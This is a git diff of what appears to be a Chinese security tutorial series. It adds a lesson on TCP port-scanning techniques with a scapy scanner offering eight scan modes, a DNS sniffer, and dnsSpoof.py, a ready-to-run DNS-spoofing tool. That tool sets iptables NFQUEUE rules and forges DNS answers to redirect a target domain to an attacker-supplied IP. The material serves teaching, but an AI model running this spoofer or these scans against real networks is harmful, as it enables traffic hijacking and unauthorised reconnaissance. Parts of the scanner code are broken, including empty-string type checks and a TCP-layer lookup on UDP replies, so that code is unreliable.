"S":syn扫描 + "A":ack扫描 + "W":TCPwindow扫描 + "N":NULL扫描 + "F":FIN扫描 + "X":Xmas扫描 + "U":UDP扫描 + """, required=True) + args = parser.parse_args() + print(args) + target = args.target + scantype = args.scantype + if args.ports: + ports = args.ports + else: + ports = range(1, 65535) + + # 扫码方式 + if scantype == "T":#全连接扫描 + tcpScan(target,ports) + elif scantype == "S":#syn扫描 + synScan(target,ports) + elif scantype == "A":#ack扫描 + ackScan(target,ports) + elif scantype == "W":#TCPwindow扫描 + windowScan(target,ports) + elif scantype == "N":#NULL扫描 + nullScan(target,ports) + elif scantype == "F":#FIN扫描 + finScan(target,ports) + elif scantype == "X":#Xmas扫描 + xmaxScan(target,ports) + elif scantype == "U":#UDP扫描 + udpScan(target,ports) + else: + print("不支持当前模式") + diff --git "a/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/0.jpg" "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/0.jpg" new file mode 100755 index 0000000..85f3ccd Binary files /dev/null and "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/0.jpg" differ diff --git "a/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/00.jpeg" "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/00.jpeg" new file mode 100644 index 0000000..7af7d51 Binary files /dev/null and "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/00.jpeg" differ diff --git "a/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/1.png" "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/1.png" new file mode 100644 index 0000000..80aa4c0 Binary files /dev/null and "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/1.png" differ diff --git "a/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/10.png" "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/10.png" new file mode 100644 index 0000000..9555a1f Binary files /dev/null and "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/10.png" differ diff --git "a/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/11.png" "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/11.png" new file mode 100644 index 0000000..000d261 Binary files /dev/null and "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/11.png" differ diff --git "a/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/12.jpg" "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/12.jpg" new file mode 100644 index 0000000..8cc21ef Binary files /dev/null and "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/12.jpg" differ diff --git "a/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/13.jpg" "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/13.jpg" new file mode 100644 index 0000000..8cc21ef Binary files /dev/null and "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/13.jpg" differ diff --git "a/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/14.jpg" "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/14.jpg" new file mode 100644 index 0000000..0f86274 Binary files /dev/null and "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/14.jpg" differ diff --git "a/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/15.jpg" "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/15.jpg" new file mode 100644 index 0000000..28a6728 Binary files /dev/null and "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/15.jpg" differ diff --git "a/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/16.jpg" "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/16.jpg" new file mode 100644 index 0000000..562fbcf Binary files /dev/null and "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/16.jpg" differ diff --git "a/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/17.jpg" "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/17.jpg" new file mode 100644 index 0000000..11d62f2 Binary files /dev/null and "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/17.jpg" differ diff --git "a/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/18.jpg" "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/18.jpg" new file mode 100644 index 0000000..fe60901 Binary files /dev/null and "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/18.jpg" differ diff --git "a/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/19.jpg" "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/19.jpg" new file mode 100644 index 0000000..a81a6b4 Binary files /dev/null and "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/19.jpg" differ diff --git "a/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/2.jpg" "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/2.jpg" new file mode 100644 index 0000000..3e33c62 Binary files /dev/null and "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/2.jpg" differ diff --git "a/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/20.jpg" "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/20.jpg" new file mode 100644 index 0000000..61423f0 Binary files /dev/null and "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/20.jpg" differ diff --git "a/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/21.jpg" "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/21.jpg" new file mode 100644 index 0000000..c68acce Binary files /dev/null and "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/21.jpg" differ diff --git "a/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/22.jpg" "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/22.jpg" new file mode 100644 index 0000000..b8aead0 Binary files /dev/null and "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/22.jpg" differ diff --git "a/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/23.jpg" "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/23.jpg" new file mode 100644 index 0000000..34b6c28 Binary files /dev/null and "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/23.jpg" differ diff --git "a/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/24.jpg" "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/24.jpg" new file mode 100644 index 0000000..4d56453 Binary files /dev/null and "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/24.jpg" differ diff --git "a/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/25.jpg" "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/25.jpg" new file mode 100644 index 0000000..280d8fc Binary files /dev/null and "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/25.jpg" differ diff --git "a/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/26.png" "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/26.png" new file mode 100644 index 0000000..9ee9c44 Binary files /dev/null and "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/26.png" differ diff --git "a/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/3.png" "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/3.png" new file mode 100644 index 0000000..3af7898 Binary files /dev/null and "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/3.png" differ diff --git "a/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/4.png" "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/4.png" new file mode 100644 index 0000000..a832ffd Binary files /dev/null and "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/4.png" differ diff --git "a/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/5.png" "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/5.png" new file mode 100644 index 0000000..27f8a89 Binary files /dev/null and "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/5.png" differ diff --git "a/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/6.jpg" "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/6.jpg" new file mode 100644 index 0000000..3612573 Binary files /dev/null and "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/6.jpg" differ diff --git "a/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/7.jpg" "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/7.jpg" new file mode 100644 index 0000000..d3bc39f Binary files /dev/null and "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/7.jpg" differ diff --git "a/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/8.jpg" "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/8.jpg" new file mode 100644 index 0000000..9e075e3 Binary files /dev/null and "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/8.jpg" differ diff --git "a/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/9.jpg" "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/9.jpg" new file mode 100644 index 0000000..d3bc39f Binary files /dev/null and "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/9.jpg" differ diff --git "a/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/readme.md" "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/readme.md" new file mode 100644 index 0000000..c069c1a --- /dev/null +++ "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/readme.md" @@ -0,0 +1,416 @@ +## 3.7 端口扫描 + +端口扫描是信息搜集重要的一步,因为端口绑定的是服务,比如80一般是web服务,21是ftp,3389是windows远程桌面等等。只有端口开放,才能做进一步的指纹识别。 +端口扫描最常用的工具是nmap,nmap提供了十几种扫描方式,详情可以参考 https://nmap.org/man/zh/man-port-scanning-techniques.html 。 + +本节我们参考nmap的端口扫描原理,来实现我们的自己的端口扫描工具。 + +### 3.7.1 前置知识 + +在动手开发之前,我们还是要重点复习一下协议相关的内容,这样才能真正理解不同端口扫描方式的原理。 + +TCP(Transmission Control Protocol)传输控制协议是一种面向连接的、可靠的、基于字节流的传输层协议。下图是TCP报文格式: +![](img/1.png) + +一个报文段分为首部和数据两部分,几乎TCP所有功能都从首部来体现,首部字段说明如下: + +1. 源端口与目标端口:分别写入源端口号和目标端口号. +2. 32位序列号:也就是我们tcp三次握手中的seq,表示的是我们tcp数据段发送的第一个字节的序号,范围[0,2^32 - 1],例如,我们的seq = 201,携带的数据有100,那么最后一个字节的序号就为300,那么下一个报文段就应该从301开始. +3. 32位确认序列号:也就是ack(假设为y),它的值是seq+1,表示的意义是y之前的数据我都收到了,下一个我期望收到的数据是y.也就是我回过去的seq = y. +4. 首部长度:占4位.也叫数据偏移,因为tcp中的首部中有长度不确定的字段. +5. URG:紧急指针标志位,当URG=1时,表明紧急指针字段有效.它告诉系统中有紧急数据,应当尽快传送,这时不会按照原来的排队序列来传送.而会将紧急数据插入到本报文段数据的最前面. +6. ACK:当ACK=1时,我们的确认序列号ack才有效,当ACK=0时,确认序号ack无效,TCP规定:所有建立连接的ACK必须全部置为1. +7. PSH:推送操作,很少用,没有了解. +8. RST:当RST=1时,表明TCP连接出现严重错误,此时必须释放连接,之后重新连接,又叫重置位. +9. SYN:同步序列号标志位,tcp三次握手中,第一次会将SYN=1,ACK=0,此时表示这是一个连接请求报文段,对方会将SYN=1,ACK=1,表示同意连接,连接完成之后将SYN=0 +10. FIN:在tcp四次挥手时第一次将FIN=1,表示此报文段的发送方数据已经发送完毕,这是一个释放链接的标志. +11. 16位窗口的大小:win的值是作为接收方让发送方设置其发送窗口大小的依据. +12. 紧急指针:只有当URG=1时的时候,紧急指针才有效,它指出紧急数据的字节数. + + +在TCP/IP协议中,TCP协议提供可靠的连接服务,采用三次握手建立一个连接,下图。 + +![](img/2.jpg) + + +结合报文内容,解释如下: + +(1) 第一次握手:建立连接时,客户端A发送SYN包(SYN=j)到服务器B,以及初始序号X,保存在包头的序列号(Sequence Number)字段里,并进入SYN_SEND状态,等待服务器B确认。 + +![](img/3.png) + + (2)第二次握手:服务器B收到SYN包,必须确认客户A的SYN(ACK=j+1),同时自己也发送一个SYN包(SYN=k),即SYN+ACK包,此时服务器B进入SYN_RECV状态。 +![](img/4.png) + + (3) 第三次握手:客户端A收到服务器B的SYN+ACK包,向服务器B发送确认包ACK(ACK=k+1),此包发送完毕,客户端A和服务器B进入ESTABLISHED状态,完成三次握手。 + +![](img/4.png) +(4)完成三次握手,客户端与服务器开始传送数据。 + +TCP建立连接的流程,同学们可以使用我们上一节编写的嗅探程序来捕获TCP建立连接的报文,观察各个字段的值。 + +下面我们新建portScan.py文件,添加如下代码: +```Python +# -*- coding: UTF-8 -*- + +import argparse +from scapy.all import * + + +#打印端口状态 +def print_ports(port, state): + print("%s | %s" % (port, state)) + +def tcpScan(target,ports): + pass +def synScan(target,ports): + pass +def ackScan(target,ports): + pass +def windowScan(target,ports): + pass +def nullScan(target,ports): + pass +def finScan(target,ports): + pass +def xmaxScan(target,ports): + pass + +def udpScan(target,ports): + pass + + +if __name__ == '__main__': + + parser = argparse.ArgumentParser("") + parser.add_argument("-t", "--target", help="目标IP", required=True) + parser.add_argument("-p", "--ports", type=int, nargs="+", help="指定端口列表 (21 23 80 ...)") + parser.add_argument("-s", "--scantype", help=""" + "T":全连接扫描 + "S":syn扫描 + "A":ack扫描 + "W":TCPwindow扫描 + "N":NULL扫描 + "F":FIN扫描 + "X":Xmas扫描 + "U":UDP扫描 + """, required=True) + args = parser.parse_args() + + target = args.target + scantype = args.scantype + if args.ports: + ports = args.ports + else: + ports = range(1, 65535) + + # 扫码方式 + if scantype == "T":#全连接扫描 + pass + elif scantype == "S":#syn扫描 + pass + elif scantype == "A":#ack扫描 + pass + elif scantype == "W":#TCPwindow扫描 + pass + elif scantype == "N":#NULL扫描 + pass + elif scantype == "F":#FIN扫描 + pass + elif scantype == "X":#Xmas扫描 + pass + elif scantype == "U":#UDP扫描 + pass + else: + print("不支持当前模式") + +``` + +上面的代码中我们定义了8种端口扫描方式,要求用户在使用脚本的时候必须指定扫描方式,端口如果不指定会扫描1到65535所有端口的状态。定义了print_ports函数,用来打印端口状态。下面我们依次实现各个扫描方法。 + +### 3.7.2 TCP Connect扫描 +TCP Connect扫描又叫做全连接扫描,客户端与服务器建立 TCP 连接要进行一次三次握手,如果进行了一次成功的三次握手,则说明端口开放。 + +假设客户端想与服务端的80端口进行通信,首先客户端会发送一个带有SYN标识和端口号的TCP数据包给服务器,如果服务器这个端口是开放的,则会接受这个连接并返回一个带有SYN和ACK标识的数据包给客户端,随后客户端会发送带有ACK和RST标识的数据包给服务点,此时客户端与服务器建立了连接。如果端口不开放则会返回一个RST标识的数据包给客户端。 + +![](img/6.jpg) + +当客户端发送一个带有 SYN 标识和端口号的 TCP 数据包给服务器后,如果服务器端返回一个带 RST 标识的数据包,则说明端口处于关闭状态。 + +![](img/7.jpg) + +实现如下: + +```Python +def tcpScan(target,ports): + print("tcp全连接扫描 %s with ports %s" % (target, ports)) + for port in ports: + send=sr1(IP(dst=target)/TCP(dport=port,flags="S"),timeout=2,verbose=0) + if (send is None): + print_ports(port,"closed") + elif send.haslayer("TCP"): + + if send["TCP"].flags == "SA": + send_1 = sr1(IP(dst=target) / TCP(dport=port, flags="AR"), timeout=2, verbose=0) + print_ports(port,"open") + elif send["TCP"].flags == "RA": + print_ports(port,"close") +``` +上面的代码,组合IP和TCP报文,依据三次握手的流程对端口状态做判断。主义TCP标志位的设置和判断。使用scapy发送tcp数据包的时候使用如下简写形式: + +* F : FIN - 结束; 结束会话 +* S : SYN - 同步; 表示开始会话请求 +* R : RST - 复位;中断一个连接 +* P : PUSH - 推送; 数据包立即发送 +* A : ACK - 应答 +* U : URG - 紧急 +* E : ECE - 显式拥塞提醒回应 +* W : CWR - 拥塞窗口减少 + +### 3.7.3 TCP SYN 扫描 + +TCP SYN扫描又称半开式扫描,该过程不会和服务端建立完整的连接,首先客户端会发送一个带有SYN标识和端口号的TCP数据包给服务器,如果服务器这个端口是开放的,则会接受这个连接并返回一个带有SYN和ACK标识的数据包给客户端,随后客户端会返回带有RST标识的数据包而不是返回一个带有ACK和RST标识的数据包。 + +![](img/8.jpg) + +如果目标端口处于关闭状态,则服务端会返回一个RST标识的数据包。 + +![](img/9.jpg) + +实现如下: + +```Python +def synScan(target,ports): + print("tcp全连接扫描 %s with ports %s" % (target, ports)) + for port in ports: + send=sr1(IP(dst=target)/TCP(dport=port,flags="S"),timeout=2,verbose=0) + if (send is None): + print_ports(port,"closed") + elif send.haslayer("TCP"): + print(send["TCP"].flags) + if send["TCP"].flags == "SA": + send_1 = sr1(IP(dst=target) / TCP(dport=port, flags="R"), timeout=2, verbose=0)#只修改这里 + print_ports(port,"opend") + elif send["TCP"].flags == "RA": + print_ports(port,"closed") +``` + +上面的代码实现实现上和全连接扫描区别不大,只是在结束到服务端响应数据包之后直接发送RST包结束连接即可。 + +### 3.7.4 TCP ACK扫描 + +能说明端口是否被过滤。如果你用nmap -sA就会发现他只会返回两种结果unfiltered和filtered,因为nmap -sA就是ACK扫描的。 + +判断端口是否被过滤,分为两种情况: + +1. 发送一个flags为ACK报文,open(开放的)和closed(关闭的) 端口 都会返回RST报文,至于他们是open还是closed状态我们无法确定。不响应的端口,或者发送特定的ICMP错误消息(类型3,代号1,2,3,9,10, 或者13)的端口,标记为 filtered(被过滤的)。大致的流程如下图: + +![](img/10.png) + +上面那种情况下是服务器REJECT掉数据包,所以客户端会有个ICMP包返回,如果是直接DROP掉的话,就会什么也不会返回,所以我们要判断该主机是否存在,因为如果一个主机存在的话,向它发送一个flags为ACK包的话,无论端口是否关闭都会有返回一个flags为RST包,如果是DROP是话就会一个数据包都不会返回,所以我们可以利用这一点去判断端口是否被过滤了,大致流程如下: + +![](img/11.png) + +实现如下: + +```Python +def ackScan(target,ports): + print("tcp ack扫描 %s with ports %s" % (target, ports)) + for port in ports: + ack_flag_scan_resp = sr1(IP(dst=target)/TCP(dport=port,flags="A"),timeout=5) + print(str(type(ack_flag_scan_resp))) + if (str(type(ack_flag_scan_resp))==""): + print_ports(port,"filtered") + elif(ack_flag_scan_resp.haslayer(TCP)): + if(ack_flag_scan_resp.getlayer(TCP).flags == "R"): + print_ports(port,"unfiltered") + elif(ack_flag_scan_resp.haslayer(ICMP)): + if(int(ack_flag_scan_resp.getlayer(ICMP).type)==3 and int(ack_flag_scan_resp.getlayer(ICMP).code) in [1,2,3,9,10,13]): + print_ports(port,"filtered") + else: + print_ports(port,"filtered") +``` + +### 3.7.5 TCP Window扫描 + +TCP 窗口扫描的流程同 ACK 扫描类似,同样是客户端向服务器发送一个带有 ACK 标识和端口号的 TCP 数据包,但是这种扫描能够用于发现目标服务器端口的状态。在 ACK 扫描中返回 RST 表明没有被过滤,但在窗口扫描中,当收到返回的 RST 数据包后,它会检查窗口大小的值。如果窗口大小的值是个非零值,则说明目标端口是开放的。 + +![](img/12.jpg) + +如果返回的 RST 数据包中的窗口大小为0,则说明目标端口是关闭的。 + +![](img/13.jpg) + +实现如下: + +```Python +def windowScan(target,ports): + print("tcp window扫描 %s with ports %s" % (target, ports)) + for port in ports: + window_scan_resp = sr1(IP(dst=target)/TCP(dport=port,flags="A"),timeout=5) + print(str(type(window_scan_resp))) + if (str(type(window_scan_resp))==""): + print_ports(port,"close") + elif(window_scan_resp.haslayer(TCP)): + if(window_scan_resp.getlayer(TCP).window == 0): + print_ports(port,"close") + elif(window_scan_resp.getlayer(TCP).window > 0): + print_ports(port,"open") + else: + print_ports(port,"close") +``` +windowScan的实现和ACK扫描方式流程基本一致,区别在于判断窗口值。 + +### 3.17.6 TCP Null扫描 + +在空扫描中,客户端发出的 TCP 数据包仅仅只会包含端口号而不会有其他任何的标识信息。如果目标端口是开放的则不会回复任何信息。 + +如果服务器返回了一个 RST(或者RST+ACK) 数据包,则说明目标端口是关闭的。 +![](img/14.jpg) +如果返回 ICMP 错误类型3且代码为1,2,3,9,10或13的数据包,则说明端口被服务器过滤了。 +![](img/15.jpg) + +实现如下: +```Python +def nullScan(target,ports): + print("tcp NULL 扫描 %s with ports %s" % (target, ports)) + for port in ports: + null_scan_resp = sr1(IP(dst=target)/TCP(dport=port,flags=""),timeout=5) + if (str(type(null_scan_resp))==""): + print_ports(port,"Open|Filtered") + elif(null_scan_resp.haslayer(TCP)): + if(null_scan_resp.getlayer(TCP).flags == "R" or null_scan_resp.getlayer(TCP).flags == "A"): + print_ports( port,"Closed") + elif(null_scan_resp.haslayer(ICMP)): + if(int(null_scan_resp.getlayer(ICMP).type)==3 and int(null_scan_resp.getlayer(ICMP).code) in [1,2,3,9,10,13]): + print_ports(port, "Filtered") +``` + +### 3.17.7 TCP FIN扫描 + +FIN 扫描会向服务器发送带有 FIN 标识和端口号的 TCP 数据包。如果没有服务器端回应则说明端口开放。 + +![](img/16.jpg) + +如果服务器返回一个 RST 数据包,则说明目标端口是关闭的。 + +![](img/17.jpg) + +如果服务器返回了一个 ICMP 数据包,其中包含 ICMP 目标不可达错误类型3以及 ICMP 代码为1,2,3,9,10或13,则说明目标端口被过滤了无法确定端口状态。 + +![](img/18.jpg) + +实现如下: + +```Python +def finScan(target,ports): + print("tcp FIN 扫描 %s with ports %s" % (target, ports)) + for port in ports: + fin_scan_resp = sr1(IP(dst=target)/TCP(dport=port,flags="F"),timeout=5) + if (str(type(fin_scan_resp))==""): + print_ports(port, "Open|Filtered") + elif(fin_scan_resp.haslayer(TCP)): + if(fin_scan_resp.getlayer(TCP).flags == 0x14): + print_ports(port, "Closed") + elif(fin_scan_resp.haslayer(ICMP)): + if(int(fin_scan_resp.getlayer(ICMP).type)==3 and int(fin_scan_resp.getlayer(ICMP).code) in [1,2,3,9,10,13]): + print_ports(port, "Filtered") +``` + +### 3.17.8 TCP 圣诞树(Xmas)扫描 + +在发送的数据包中设置PSH,FIN,URG标志位,如果目标端口是开放的则不会回复任何信息。 +![](img/19.jpg) +如果目标端口关闭则会返回一个RST+ACK的数据包。 +![](img/20.jpg) +但如果服务器返回了一个 ICMP 数据包,其中包含 ICMP 目标不可达错误类型3以及 ICMP 状态码为1,2,3,9,10或13,则说明目标端口被过滤了无法确定是否处于开放状态。 +![](img/21.jpg) + +实现如下: + +```Python +def xmaxScan(target,ports): + print("tcp xmax 扫描 %s with ports %s" % (target, ports)) + for port in ports: + fin_scan_resp = sr1(IP(dst=target)/TCP(dport=port,flags="FPU"),timeout=5) + if (str(type(fin_scan_resp))==""): + print_ports(port, "Open|Filtered") + elif(fin_scan_resp.haslayer(TCP)): + if(fin_scan_resp.getlayer(TCP).flags == "R"): + print_ports(port, "Closed") + elif(fin_scan_resp.haslayer(ICMP)): + if(int(fin_scan_resp.getlayer(ICMP).type)==3 and int(fin_scan_resp.getlayer(ICMP).code) in [1,2,3,9,10,13]): + print_ports(port, "Filtered") +``` + + + +### 3.17.9 UDP 扫描 + +TCP 是面向连接的协议,而UDP则是无连接的协议。 + +面向连接的协议会先在客户端和服务器之间建立通信信道,然后才会开始传输数据。如果客户端和服务器之间没有建立通信信道,则不会有任何产生任何通信数据。 + +无连接的协议则不会事先建立客户端和服务器之间的通信信道,只要客户端到服务器存在可用信道,就会假设目标是可达的然后向对方发送数据。 + +客户端会向服务器发送一个带有端口号的 UDP 数据包。如果服务器回复了 UDP 数据包,则目标端口是开放的。 +![](img/22.jpg) + +如果服务器返回了一个 ICMP 目标不可达的错误和代码3,则意味着目标端口处于关闭状态。 + +![](img/23.jpg) + +如果服务器返回一个 ICMP 错误类型3且代码为1,2,3,9,10或13的数据包,则说明目标端口被服务器过滤了。 + +![](img/24.jpg) + +但如果服务器没有任何相应客户端的 UDP 请求,则可以断定目标端口可能是开放或被过滤的,无法判断端口的最终状态。 + +![](img/25.jpg) + +实现如下: + +```Python +def udpScan(target,ports): + print("UDP 扫描 %s with ports %s" % (target, ports)) + for port in ports: + udp_scan_resp = sr1(IP(dst=target)/UDP(dport=port),timeout=5) + if (str(type(udp_scan_resp))==""): + print_ports(port, "Open|Filtered") + elif(udp_scan_resp.haslayer(UDP)): + if(udp_scan_resp.getlayer(TCP).flags == "R"): + print_ports(port, "Open") + elif(udp_scan_resp.haslayer(ICMP)): + if(int(udp_scan_resp.getlayer(ICMP).type)==3 and int(udp_scan_resp.getlayer(ICMP).code) in [1,2,3,9,10,13]): + print_ports(port, "Filtered") +``` + +### 3.17.8 简单测试 + +至此,我们的端口扫描器告一段落,下面进行简单的测试。 +![](img/26.png) + +### 3.17.9 小结 + +本节我们基于scapy实现了8种端口扫描的方式。之所以需要多种方式来实现端口扫描主要有两个原因,一个是提升扫描速度,比如全连接扫描是速度最慢的;第二是由于操作系统的不同或者防火墙的配置等原因,一种扫描方法很难获得准确的结果。本节作业如下: + +1. 学习巩固TCP和UDP协议 +2. 动手实现端口扫描器 + +下一节,我们一同学习DNS毒化攻击。 + + 欢迎到关注微信订阅号,交流学习中的问题和心得 + + +![](img/0.jpg) + + 本系列教程全部内容在玄说安全--入门圈发布,并提供答疑和辅导。 + +![](img/00.jpeg) + + + + + + + diff --git a/3.7.pdf b/3.7.pdf new file mode 100644 index 0000000..0e4e6e9 Binary files /dev/null and b/3.7.pdf differ diff --git "a/3.8 DNS\346\254\272\351\252\227/code/dnsSniffer.py" "b/3.8 DNS\346\254\272\351\252\227/code/dnsSniffer.py" new file mode 100644 index 0000000..551ea23 --- /dev/null +++ "b/3.8 DNS\346\254\272\351\252\227/code/dnsSniffer.py" @@ -0,0 +1,14 @@ +# -*- coding: UTF-8 -*- +from scapy.all import * + +scapy.config.conf.sniff_promisc=True #设置混杂模式 + +def packetHandler(pkt): + print(pkt.summary()) + udp = pkt.getlayer(UDP) + print(udp.show()) +if __name__ == '__main__': + dev = "en0" + filter = "udp port 53" + sniff(filter=filter,prn=packetHandler,iface=dev) + diff --git "a/3.8 DNS\346\254\272\351\252\227/code/dnsSpoof.py" "b/3.8 DNS\346\254\272\351\252\227/code/dnsSpoof.py" new file mode 100644 index 0000000..c71a52c --- /dev/null +++ "b/3.8 DNS\346\254\272\351\252\227/code/dnsSpoof.py" @@ -0,0 +1,69 @@ +# -*- coding: UTF-8 -*- + +import argparse +from netfilterqueue import NetfilterQueue +from scapy.all import * +import os + +bannerText=""" +██╗ ██╗██╗ ██╗ █████╗ ███╗ ██╗ ██╗ ██╗██╗ ██╗███╗ ██╗ +╚██╗██╔╝██║ ██║██╔══██╗████╗ ██║ ██║ ██║██║ ██║████╗ ██║ + ╚███╔╝ ██║ ██║███████║██╔██╗ ██║ ███████║██║ ██║██╔██╗ ██║ + ██╔██╗ ██║ ██║██╔══██║██║╚██╗██║ ██╔══██║██║ ██║██║╚██╗██║ +██╔╝ ██╗╚██████╔╝██║ ██║██║ ╚████║ ██║ ██║╚██████╔╝██║ ╚████║ +╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝ + +DNS欺骗 by 玄魂工作室 +微信订阅号 : xuanhun521 +Github : https://github.com/xuanhun + """ + + + +from netfilterqueue import NetfilterQueue +from scapy.all import * +import os + + +def packageHandle(packet): + payload = packet.get_payload() + pkt = IP(payload) + + if not pkt.haslayer(DNSQR): + packet.accept() + else: + if domain in pkt[DNS].qd.qname: + spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\ + UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\ + DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd,\ + an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=10, rdata=targetIp)) + packet.set_payload(str(spoofed_pkt)) + packet.accept() + else: + packet.accept() + +def main(): + q = NetfilterQueue() + q.bind(1, packageHandle) + try: + q.run() # Main loop + except KeyboardInterrupt: + q.unbind() + os.system('iptables -F') + os.system('iptables -X') + + + +if __name__ == '__main__': + + print(bannerText) + + os.system('iptables -t nat -A PREROUTING -p udp --dport 53 -j NFQUEUE --queue-num 1') + parser = argparse.ArgumentParser("") + parser.add_argument("-d", "--domain", help="目标域名", required=True) + parser.add_argument("-t", "--target", help="虚假ips", required=True) + + args = parser.parse_args() + targetIp = args.target + domain = args.domain + main() \ No newline at end of file diff --git "a/3.8 DNS\346\254\272\351\252\227/img/0.jpg" "b/3.8 DNS\346\254\272\351\252\227/img/0.jpg" new file mode 100755 index 0000000..85f3ccd Binary files /dev/null and "b/3.8 DNS\346\254\272\351\252\227/img/0.jpg" differ diff --git "a/3.8 DNS\346\254\272\351\252\227/img/00.jpeg" "b/3.8 DNS\346\254\272\351\252\227/img/00.jpeg" new file mode 100644 index 0000000..7af7d51 Binary files /dev/null and "b/3.8 DNS\346\254\272\351\252\227/img/00.jpeg" differ diff --git "a/3.8 DNS\346\254\272\351\252\227/img/1.png" "b/3.8 DNS\346\254\272\351\252\227/img/1.png" new file mode 100644 index 0000000..b179486 Binary files /dev/null and "b/3.8 DNS\346\254\272\351\252\227/img/1.png" differ diff --git "a/3.8 DNS\346\254\272\351\252\227/img/2.png" "b/3.8 DNS\346\254\272\351\252\227/img/2.png" new file mode 100644 index 0000000..07bb900 Binary files /dev/null and "b/3.8 DNS\346\254\272\351\252\227/img/2.png" differ diff --git "a/3.8 DNS\346\254\272\351\252\227/img/3.png" "b/3.8 DNS\346\254\272\351\252\227/img/3.png" new file mode 100644 index 0000000..75e34f2 Binary files /dev/null and "b/3.8 DNS\346\254\272\351\252\227/img/3.png" differ diff --git "a/3.8 